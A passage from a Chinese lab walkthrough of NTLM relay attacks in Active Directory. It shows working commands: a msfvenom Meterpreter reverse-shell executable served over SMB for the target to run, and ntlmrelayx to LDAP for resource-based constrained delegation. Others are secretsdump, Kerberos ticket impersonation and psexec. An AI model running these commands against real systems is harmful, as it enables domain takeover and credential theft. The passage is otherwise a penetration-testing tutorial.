left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">或者通过可执行文件直接上线。（工具smbrelay）（联动msf的远控） 生成一个后门文件。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.20.151 lport=4444 -f exe -o exp.exe<br/></code></pre><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">开启smb服务，让目标机器获取攻击机kali的smb服务上的exp.exe并且执行。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">impacket-smbrelayx -h 192.168.20.111 -e exp.exe</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.19" title="null" data-w="800" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=356dd7dc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjV24ezkibBKPLGdcrI9zjeY9FbHzg5hIRffc7B53qoSDiahyV2dDWckPhw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">通过xxe发送请求</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.5106520335700452" title="null" data-w="1549" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d5ab861f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVAkdB9H1LLgPNXBlC2JVGiaicgJdiaNoYU1Evfx8Pk7l9uMOLYan9kicOUA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">目标机器上线msf 但是session上线之后会自动断掉。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.0927947598253275" title="null" data-w="916" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c61571bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVRh5xX5s6y5UoJzleMvVdAFz8PxyEzHcaassGdvs4mCA3RUmttvqSTw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">后面查阅到 需要使用exploit/multi/handler，配置AutoRunScript，当获取到shell让他进程自动迁移，避免shell文件被删除时连接的shell断开。并且此时弹回来的权限为system。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.6497418244406197" title="null" data-w="1162" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=e376260c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVN92HtNibXuSxo8mJ46XefPOHpoOSibfX1YG5FaAJvP7a88LibB39StB3Q%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">（在横向移动中，445端口用来进行net use的ipc连接，在工具smbrelayx中，起一个445的smb server来执行命令，还是工具中用到了wmic来执行命令并且通过ipc连接来读取命令执行的结果。同理上线msf也是一样，通过wmic来执行命令获取到攻击机kali的smb上的远控木马到本地，之后再通过wmic去执行命令执行并上线）</span></p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">高版本server执行失败的情况</h4><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">如果中继到的机器是2016及以上（这里添加一个域内机器为2016），可以看到调用rpc执行是失败的（rpc默认在这些机器上被禁用）</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.2783625730994152" title="null" data-w="855" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=57d85789&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVdbGMJYNrvwjoAYmumsicBQNqBpEudcgWkyoTKzHW7Kqt91gODng8Kmw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">那么遇到这种情况如何解决？就引出下文的基于资源的约束委派。</span></p><h4 style="font-size: 1em;white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-weight: bold;margin: 2em 8px 0.5em;color: rgb(15, 76, 129);">二、中继到ldap，基于资源的约束委派</h4><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">获取到域内一个用户的凭据，账号密码为fbi/p@ssw0rd，此时通过这个账号去添加机器账号</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">python3 addcomputer.py -method SAMR -dc-ip 192.168.20.246 -computer-name 7niuzi -computer-pass 123456 &#34;fbi.gov/fbi:p@ssw0rd&#34;</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.08318098720292505" title="null" data-w="1094" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=bb1e27a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVfTiaXFdiaKcLncpTtuGhx1Z7KYADPfSZmvwaiaX012xGQmAX94lQbtwGA%2F640%3Fwx_fmt%3Dpng"/></figure><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.12210200927357033" title="null" data-w="647" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c94b9a85&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVzweTJz6hFa2X5WExVbiaRDSjUmSEJe0G40XibE4LuTtudAahdmuSBGFA%2F640%3Fwx_fmt%3Dpng"/></figure><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">python3 ntlmrelayx.py -t ldap://dc01.fbi.gov -debug -ip 192.168.20.151 --delegate-access --remove-mic -smb2support --escalate-user 7niu\$</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">中继到ldap之后，刚开始使用ntlmrelayx的时候，总是默认导出ldap的信息，同时因为admanager。此工具尝试从域中收集尽可能更多的信息，包括用户，其组成员身份，域计算机和域策略。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.1511627906976744" title="null" data-w="1720" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e0de2c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVmCqyxhbGURXZX5yCBnCt1l7vNVAvCHZtVKMvoZl3Vg6Wn6icydxO5bQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">除了收集信息之外，还可以通过LDAP写入目录。如果ntlmrelayx遇到具有域管理员权限的用户，它将创建一个新的域管理员帐户，该帐户立即使攻击者可以完全控制域</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.4404432132963989" title="null" data-w="1083" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=d753e7f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVLt9g56picsdEibEfTVic34Y8AluvLHy1hwEB42d3kwtnXQrGnuspJ9vUQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">这里自动将新建的机器账号添加到最高的域管组中，此时该机器账户具有dcsync功能。</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">impacket-secretsdump 7niu\$:123456@dc01.fbi.gov</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.39748427672955977" title="null" data-w="2385" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=22c5ca82&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVsnjFUt9S93iaoHEWHKQNibtc2cTtXS8cRDKFB8DgVSFWmJDMBB5DK4iaQ%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">如果权限不够的情况下，或者忽略掉工具ntlmrelayx给我们带来的判断权限和自动提升为Enterprise admins组的成员，进行正常的基于资源的约束委派攻击来获取w12主机的权限。再添加一个机器账号。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.04326923076923077" title="null" data-w="1040" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ff7a4901&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVyC99JPmibIdcxCoJTVpR0u5AlE2OezuHjQic5CiaGcic6puGpQ2dkicpz3w%2F640%3Fwx_fmt%3Dpng"/></figure><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">impacket-ntlmrelayx -t ldap://192.168.20.246 -debug -ip 192.168.20.151 --delegate-access --no-dump --no-da --no-acl --no-validate-privs --escalate-user dandan\$<br/>参数功能相关:<br/>--delegate-access 将中继计算机帐户的访问权限委派给指定帐户<br/>--no-dump         不要尝试转储 LDAP 信息<br/>--no-da           不要尝试添加域管<br/>--no-acl          禁用 ACL 攻击<br/>--no-validate-privs不要尝试枚举权限，假设权限被授予通过 ACL 攻击升级用户</code></pre><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">以上通过这些参数来让他仅执行一个基于资源的约束委派，不需要通过枚举之前的枚举权限之类或者acl之类的攻击操作。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.3987386124737211" title="null" data-w="1427" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c509f7e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVHWQWWkUibib1lhvJrWHTz1D3P411IlZGAXE7SxNKF5JglqOq5rZzbIhA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">burpsuite发包触发xxe，目标机发起http请求。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.38331996792301526" title="null" data-w="1247" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=3594f4f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVnXqytgUBN6opHQRmPBuv74gKdo92MLE0N85cg1IbVJktmRCib1mgkgw%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">将凭据中继到域控服务器的LDAP服务上设置基于资源约束委派成功。</span></p><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.22254059216809932" title="null" data-w="1047" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=05df3162&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVq5mFiclNA1TgM4k7G0GdZJ6goJwMERt4b3bpVA7eiaOBX6OYuy6AFrHg%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">票据申请</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">impacket-getST dc-ip 192.168.20.246 fbi.gov/dandan$:123456 -spn cifs/w12.fbi.gov -impersonate administrator</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.17445482866043613" title="null" data-w="963" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=ddc2d3e3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjVhBUNFPZqA3JQWlCuJ2vKz2dk3M5pzFpfVSm2ia1CB2RWtyGVMK71PYA%2F640%3Fwx_fmt%3Dpng"/></figure><p><span style="color: rgb(0, 0, 0);font-family: &#34;Microsoft YaHei&#34;;font-size: 14px;text-align: start;">票据导入</span></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;margin: 10px 8px;"><span style="padding: initial;display: block;height: 25px;background-color: transparent;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/sc8lJYpicUaVIMsNic5YPIsY1WpguWQeHcMrlPibFxIxlkRlv8Z6ZTlYRTtQfibPwCTjNVzLmYAu2qC51UYiagUrVsgvebQeAItns/640?wx_fmt=svg&#34;);background-position: 14px 10px;background-repeat: no-repeat;background-size: 40px;"></span><code style="font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;line-height: 1.75;font-size: 13px;white-space: nowrap;">export KRB5CCNAME=administrator.ccache</code></pre><figure style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;color: rgb(63, 63, 63);"><img class="rich_pages wxw-img" data-ratio="0.057919621749408984" title="null" data-w="846" style="line-height: 1.75;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=9ff898b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl87974icaoMy6hRhaz4uvbsmwjV8iaYyxVJPVHSt21agdybssO0FUHS5Q8llFSJiaRREzQicOSBaibJG2w3mw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="white-space: normal;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 13px;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">psexec直接登录w12机器。</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;text-align: left;line-height: 1.5;font-family: 